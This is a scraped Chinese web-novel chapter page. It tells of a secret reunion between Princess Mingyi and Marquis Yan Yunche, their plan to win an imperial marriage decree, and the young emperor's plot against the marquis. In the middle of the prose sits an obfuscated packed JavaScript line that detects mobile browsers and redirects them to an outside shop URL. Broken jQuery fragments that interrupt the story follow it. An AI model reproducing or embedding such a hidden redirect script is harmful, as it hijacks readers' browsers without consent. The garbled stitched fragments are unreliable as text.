默认冷灰
24号文字
方正启体

8. 第八章 暗室重逢

作者:灵六火本书字数:K更新时间:
    翌日清晨,洛安城被薄雾笼罩。城门外,礼部官员已按规制列队等候,准备迎接镇北侯凯旋。城内街道两旁,百姓自发聚集,都想一睹这位传奇将军的风采。


    长公主府的马车却从侧门悄无声息地驶出,绕开主街,直奔镇北侯府。


    车内,明仪身着素色宫装,面上覆着轻纱,神色平静。郑沉驾着车,低声禀报:“公主,侯爷昨日深夜已秘密入城,现正在府中等候。”


    明仪指尖微微收紧:“少帝的人可有察觉?”


    “侯爷用了替身。”郑沉道,“大军仍在城外三十里扎营,那个替身也坐在军中主帐内。少帝派来的眼线都被蒙在鼓里。”


    明仪点头,心中对燕云徹的缜密又多了几分佩服。这个人,永远比她想象中准备得更周全。


    马车停在镇北侯府后门。这里僻静无人,只有两名身着便装的侍卫静立等候。见到明仪下车,他们立即单膝跪地:“参见长公主。”


    “起来吧。”明仪淡淡道,“侯爷在何处?”


    “在书房等候。”其中一人起身,引路前行,“公主请随我来。”


    镇北侯府是历代侯爷袭爵时先帝所赐,占地广阔,庭院深深。但府中仆从稀少,一路行来,明仪只见寥寥几个下人,且都是训练有素的模样,见到她时恭敬行礼,目不斜视。


    书房位于府邸最深处,周围竹林环绕,清幽僻静。引路侍卫在院门外停步:“侯爷吩咐,请公主独自入内。”


    郑沉皱眉,正要开口,明仪抬手制止:“你们在此等候。”


    她推门而入,院中空无一人。书房的门虚掩着,透出微弱烛光。


    明仪站在院中,忽然有些迟疑。


    她深吸一口气,推开了书房的门。


    室内烛光昏暗,一个高大的身影背对着她站在窗前。那人未着戎装,只穿一身墨色常服,但肩背挺拔如松,正是她熟悉的样子。


    听到开门声,那人缓缓转过身来。


    “臣,参见长公主。”燕云徹躬身行礼,声音低沉平稳。


    明仪挺直脊背,恢复了往日的矜持:“侯爷免礼。本宫今日前来,是代陛下慰问功臣。”


    她说着冠冕堂皇的话,目光却无法从他脸上移开。


    燕云徹直起身,依旧保持着君臣之间的距离:“谢陛下隆恩,谢长公主亲临。”


    两人对视着,空气中有种莫名的紧绷。


    明仪强迫自己移开视线,打量着书房陈设。这里简洁到近乎空旷,除了书案和几个书架,几乎没有什么摆设。案上堆着军报和地图,墙上挂着一副北境舆图,上面密密麻麻标注着各种符号。


    烛光跳跃,在她眼中映出细碎的光。


    燕云徹沉默片刻,终于向前走了两步。距离拉近,明仪能看清他眼中压抑的情绪,能闻到他身上淡淡的皂角清香,混杂着一丝若有若无的硝烟气息。


    “臣……”他开口,声音比刚才低哑了几分,“这几日,让公主受苦了。”


    他从袖中取出一样东西,摊在掌心。


    那是一枚护心符,边缘已被摩挲得光滑圆润,红绳也有些褪色,但保存得极好。


    明仪的视线落在那枚护心符上,指尖不受控制地微微颤抖。是她亲手所绣的护心符,他还保留着,珍贵着,针脚并不精致,背面还笨拙地绣了一个“仪”字。


    “这几日,臣都将它贴身佩戴。”燕云徹的声音很轻,却字字沉重,“每当看到它,臣就想起洛安城中,还有人在等臣回来。”


    明仪伸出手,指尖轻轻触到护心符。那上面似乎还残留着他的体温。


    “臣回来了。”燕云徹低声说,只有四个字,却重如千钧。


    没有多余的话,没有夸张的誓言。


    明仪抬眼看他,眼眶终于红了。那些年在宫中受的委屈,在朝堂上面对的压力,对远方的担忧,所有情绪在这一刻汹涌而来,几乎要将她淹没。


    她强迫自己冷静,深吸一口气:“回来就好。婚期将至,侯爷当早做准备。”


    说着,她转身想走。她怕再多待一刻,就会控制不住情绪。


    手腕却被人轻轻握住。


    燕云徹的掌心温热,带着常年握剑留下的薄茧。那触感让明仪浑身一颤,想抽回手,却被他握得更紧。


    “明仪。”他第二次唤她的名字,不是“公主”,不是“殿下”,而是“明仪”。


    明仪僵在原地,背对着他,不敢回头。


    “八年了。”燕云徹的声音近在耳畔,“过去我每天都在想,回来见你时该说什么。想告诉你北境的风雪有多大,想告诉你我打了多少胜仗,想告诉你我如何一步步掌握兵权,如何布局谋划。”


    他的另一只手也轻轻握住她的肩,将她转过来面对自己。


    “但真的见到你,我才发现,那些都不重要。”燕云徹低头看她,眼中是从未在人前显露过的深情,“重要的是你安好,重要的是我终于能履行当年的承诺。”


    明仪看着他,泪终于滑落:“你知道这八年,我是怎么过的吗?朝堂上那些人虎视眈眈,少帝的猜忌一日重过一日。我不仅要保全自己,还要保全你在朝中的势力,保全那些追随你的旧部……”


    “我知道。”燕云徹抬手,拇指轻轻擦去她的泪。


    他顿了顿,声音更加低沉:“三年前我请命北上,一是为了掌握兵权,二是为了远离洛安,让少帝放松警惕。但我最不放心的,就是把你一个人留在虎狼环伺的京城。”


    明仪摇头:“我没事。我有自保的能力。”


    “你有。”燕云徹承认,“但我不该让你独自承担这些。”


    他的话语坚定,握着她的手也紧了紧。


    烛光将两人的影子投在墙上,交叠在一起,不分彼此。书房里很静,静得能听到彼此的呼吸声。


    明仪终于不再压抑情绪,抬手轻抚他的脸颊。那里有一道淡淡的疤痕,从鬓角延伸到下颌,是新伤。


    “这是怎么回事?”她问。


    “这次夜袭,被流箭所伤。”燕云徹轻描淡写,“不碍事。”


    明仪的指尖在那道疤痕上停留,心中一阵抽痛。她知道,这轻描淡写的一句话背后,是无数生死一线的时刻。


    “还有多少伤是我不知道的?”她轻声问。


    燕云徹握住她的手,贴在胸前:“都是皮外伤,早就好了。倒是你,”他仔细端详她的脸,“瘦了。是不是又经常熬夜了?”


    明仪破涕为笑:“你怎么知道?”


    “郑沉会定期向我禀报你的情况。”燕云徹坦白,“我知道你每夜读书到子时,知道你不爱吃御膳房送的甜食,知道你在御花园种了一片木兰,因为那是我母亲最爱的花。”


    明仪惊讶地睁大眼睛:“你连这些都知道?”


    “关于你的一切,我都想知道。”燕云徹的眼神深邃,“即使相隔千里,我也要知道你过得好不好,开不开心,需不需要我。”


    这一刻,所有的伪装都卸下了。


    明仪靠进他怀里,听着他沉稳的心跳声,感到前所未有的安心。


    燕云徹紧紧拥住她,下颌轻抵她的发顶,深深吸气,仿佛要将她的气息刻入骨髓。


    “明仪,”他低声说,“我不会再离开你了。这次回来,无论发生什么,我都会在你身边。”


    明仪在他怀中点头,泪水浸湿了他的衣襟。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129433|196195||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    良久,两人才缓缓分开。燕云徹仍握着她的手,不舍放开。


    “少帝那边,你有什么打算?”明仪问起正事,“他虽暂时让步,但绝不会善罢甘休。”


    燕云徹眼神冷了下来:“我知道。他以为用和亲可以牵制你,用北境战事可以拖住我。但他不知道,从他下旨命我北上的那一刻起,就已经入了我的局。”


    他拉着明仪走到北境舆图前:“这三年来,我不仅平定了蛮族,还在北境建立了完整的防御体系,培养了一支完全听命于我的铁军。更重要的是,我掌握了蛮族内部的权力脉络。”


    他指着图上几个标记:“阿史那律的三个儿子,长子与我有密约,只要我支持他上位,他愿与大蒙永结盟好,十年不犯边。次子如今在我手中,是三子暗算他被我所救,现在对我感恩戴德。”


    明仪震惊:“你早就布局好了?”


    “从三年前开始。”燕云徹点头,“我知道少帝迟早会对我们下手,所以必须早做准备。北境是我的退路,也是我的筹码。”


    他转向明仪,目光坚定:“但现在,我不需要退路了。我要堂堂正正娶你,要少帝亲自赐婚,要天下人都知道,你是我燕云徹的妻子。”


    明仪心中涌起暖流,但理智仍在:“少帝不会轻易同意的。他忌惮你的兵权,更忌惮我们联姻后的势力。”


    “所以需要一场戏。”燕云徹眼中闪过一丝算计,“一场让少帝不得不赐婚,让朝臣无话可说,让天下人都觉得理所应当的戏。”


    “什么戏?”


    燕云徹低头在她耳边低声说了几句。明仪先是惊讶,随即了然,最后眼中也浮现出笑意。


    “你真是……”她摇头,“这么大胆的计划。”


    “为了娶你,再大胆也值得。”燕云徹认真道,“之后的一切,按计划进行。”


    明仪点头,忽然想起什么:“国师玄机子,你需小心。他是少帝的心腹,深不可测。”


    “玄机子……”燕云徹沉吟,“我查过他。此人来历神秘,在先帝时期突然出现,得先帝重用。我怀疑他与前朝余孽有关,但尚无确凿证据。”


    “前朝?”明仪蹙眉。


    “只是一种猜测。”燕云徹道,“无论如何,我会小心。倒是你,在婚期前要格外注意安全。我已安排人手暗中保护你,郑沉也会加强公主府的守卫。”


    “我明白。”


    两人又商议了一些细节,时间不知不觉过去。窗外天色渐暗,郑沉在院外轻咳一声,提醒时辰已晚。


    明仪该走了。


    离别在即,两人都有些不舍。燕云徹再次将明仪拥入怀中,这次吻轻轻落在她的额头。


    最终,明仪还是离开了书房。走出院门时,她回头看了一眼,燕云徹站在门内,烛光为他镀上一层金边,眼神温柔而坚定。


    马车缓缓驶离镇北侯府,明仪握着那枚被他贴身佩戴八年的护心符,心中满是暖意。


    与此同时,皇宫紫宸殿中,少帝也未入睡。他面前摊开着北境军报和蛮族内乱的密报,眉头紧锁。


    玄机子坐在下首,闭目养神。


    “国师,”少帝终于开口,“燕云徹回城,朕该如何应对?”


    玄机子缓缓睁眼:“陛下不必忧虑。老臣已有安排,定让燕云徹有来无回。”


    “哦?”少帝眼中闪过厉色,“国师有何妙计?”


    玄机子微微一笑,那笑容冰冷而诡异:“陛下只需在宴上按老臣说的做,其余之事,老臣自会安排。”


    少帝盯着他看了片刻,终于点头:“好,朕就信国师这一次。”


    夜色深沉,洛安城表面平静,暗地里却暗流汹涌。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)